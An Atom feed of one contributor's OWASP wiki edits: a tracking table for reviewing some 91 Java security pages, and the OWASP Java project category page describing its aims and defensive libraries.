<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imifos</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Imifos"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Imifos"/>
		<updated>2026-05-03T19:02:15Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=235310</id>
		<title>OWASP Java Project WIPRO 1 2015</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Project_WIPRO_1_2015&amp;diff=235310"/>
				<updated>2017-11-10T21:56:25Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=delete&lt;br /&gt;
| comment=Tagged via fixme/delete.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Java_Project_Header.png|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;font-size: 1.8em;&amp;quot;&amp;gt;Wiki Pages Review Operation - 2015/2016&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Main =&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;width:100%&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
91 Pages in category &amp;quot;OWASP Java Pages&amp;quot; have to be reviewed. We use a Google Document where every person interested can let opinions, comments and suggestions. Even reviewing one single page is welcome. &lt;br /&gt;
&lt;br /&gt;
Shared Google document used to comment and review:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Team ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
* Start: 12/2015&lt;br /&gt;
* Last Update: 12/2015&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
N/A&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;min-width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Pages List =&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Page&lt;br /&gt;
! Status&lt;br /&gt;
! Review&lt;br /&gt;
! Operations&lt;br /&gt;
|- &lt;br /&gt;
|[[Bytecode obfuscation]]&lt;br /&gt;
|&lt;br /&gt;
| Outdated but interesting to keep, marked for review. https://www.owasp.org/index.php/Talk:Bytecode_obfuscation&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Captchas in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Updated and not of interest. Marked for deletion.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Clickjacking Protection for Java EE]]&lt;br /&gt;
|&lt;br /&gt;
|Flagged for deletion, reason stated on page.&lt;br /&gt;
|DELETED BY ADMIN&lt;br /&gt;
|-&lt;br /&gt;
|[[Command injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Comparing classes by name ]]&lt;br /&gt;
|&lt;br /&gt;
|Marked for review&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Complejidad Y Longitud De Las Contraseñas ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Content Security Policy ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS OriginHeaderScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[CORS RequestPreflighScrutiny]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Cross-site Scripting (XSS) ]]&lt;br /&gt;
|&lt;br /&gt;
| Looks updated&lt;br /&gt;
| NO ACTION TAKEN, I: Removed Java tag since it's not really a Java specific isue and only an example was written usign JSP.&lt;br /&gt;
|-&lt;br /&gt;
|[[Declarative Access Control in Java]]&lt;br /&gt;
|&lt;br /&gt;
|gone&lt;br /&gt;
|Deleted by admin&lt;br /&gt;
|-&lt;br /&gt;
|[[Decompiling Java bytecode]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| DELETED&lt;br /&gt;
|-&lt;br /&gt;
|[[Deserialization of untrusted data]]&lt;br /&gt;
|&lt;br /&gt;
| Looks legit&lt;br /&gt;
| Looks legit&lt;br /&gt;
|-&lt;br /&gt;
|[[Detect profiling phase into web application]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Exception handling techniques ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Failure to follow guideline/specification ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hacking Java Clients ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hashing Java]]&lt;br /&gt;
| UNDER REVIEW&lt;br /&gt;
| Updated by Mark Gordon. Thank you!&lt;br /&gt;
| No action needed&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Hibernate-Guidelines ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to add validation logic to HttpServletRequest]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[How to encrypt a properties file ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Implementacion De Firmas Digitales en Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper Data Validation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Improper temp file opening ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Information Leakage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Randomness]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insecure Transport]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Insufficient Session-ID Length]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Invoking untrusted mobile code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Inyección De Comandos En Java ]]&lt;br /&gt;
|&lt;br /&gt;
|Should we keep the 2 spanish pages? A translation is of course a good thing, but we have only 2 pages whose quality we cannot verify. &lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE Misconfiguration: Unsafe Bean Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|J2EE is completely outdated and only used in old legacy installation. No new projects are based on this environment. Moreover the page does not contain any useful information. Marked for deletion.&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[J2EE third party libraries insecurity]]&lt;br /&gt;
|&lt;br /&gt;
|See above. Propose to delete the page since it's not referenced by any other wiki page anymore.&lt;br /&gt;
| redirected to dependency check&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Timed Login Module ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[JAAS Tomcat Login Module]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Project Article Wishlist ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Frameworks]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Security Resources ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Merged into category page&lt;br /&gt;
|-&lt;br /&gt;
|[[Java Server Faces ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP errorPage]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[JSP JSTL ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Leftover Debug Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Log Forging ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Logout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Member Field Race Condition]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Missing Error Handling]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Mobile Java Security ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Null Dereference]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Object Model Violation: Just One of equals() and hashCode() Defined]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Often Misused: Authentication ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Catch Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Overly-Broad Throws Declaration]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP CSRFGuard Project/es ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP Java Table of Contents]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Parameter Validation Filter]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password length &amp;amp; complexity]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Hardcoded Password]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Management: Weak Cryptography ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Password Plaintext Storage ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|redirected to sqlI cheatsheet&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|(See spanish page above)&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| Delete&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|cleaned, extended&lt;br /&gt;
|useful code examples&lt;br /&gt;
|marked to be merged with another page on the subject&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| deleted&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=235309</id>
		<title>Category:Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=235309"/>
				<updated>2017-11-10T21:55:44Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: All pages moved categories, so this list is now empty&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main =&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.&lt;br /&gt;
&lt;br /&gt;
The project is not limited to Java. It aims to also address topics around the JVM in general.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.&lt;br /&gt;
* Address security in relation to the Java Virtual Machine and derived technologies.&lt;br /&gt;
* Guide system administrators in managing Java and JVM related components and applications.&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.&lt;br /&gt;
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.&lt;br /&gt;
* Build an ecosystem allowing to all actors interested to discuss, share and learn.&lt;br /&gt;
&lt;br /&gt;
== Licensing ==&lt;br /&gt;
&lt;br /&gt;
OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.&lt;br /&gt;
&lt;br /&gt;
== What's Hot! ==&lt;br /&gt;
&lt;br /&gt;
See the &amp;quot;Tasks and Roadmap&amp;quot; tab for more information. &lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_Java_Wiki_logo.png|frame]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
Last Update: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub (OWASP)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
* [[Ruby|Ruby]]&lt;br /&gt;
* [[PHP|PHP]]&lt;br /&gt;
* [[Perl|Perl]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[JavaScript|JavaScript]]&lt;br /&gt;
* [[C/C++|C/C++]]&lt;br /&gt;
* [[SQL|SQL, PL/SQL, DB Scripting]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Related OWASP Projects =&lt;br /&gt;
&lt;br /&gt;
== Security Tools ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Dependency_Check|OWASP Dependency Check]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently &amp;lt;b&amp;gt;Java&amp;lt;/b&amp;gt;, .NET, Ruby, Node.js, and Python projects are supported.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targeting OWASP vulnerabilities that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analyzers (&amp;lt;b&amp;gt;Java&amp;lt;/b&amp;gt;, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Secure Coding Libraries ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_AppSensor_Project|OWASP AppSensor]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into applications.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[CSRFGuard|OWASP CSRFGuard]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| CSRFGuard is a Java library that implements a variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks. &lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Security_Logging_Project|OWASP Security Logging Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.&lt;br /&gt;
|-&lt;br /&gt;
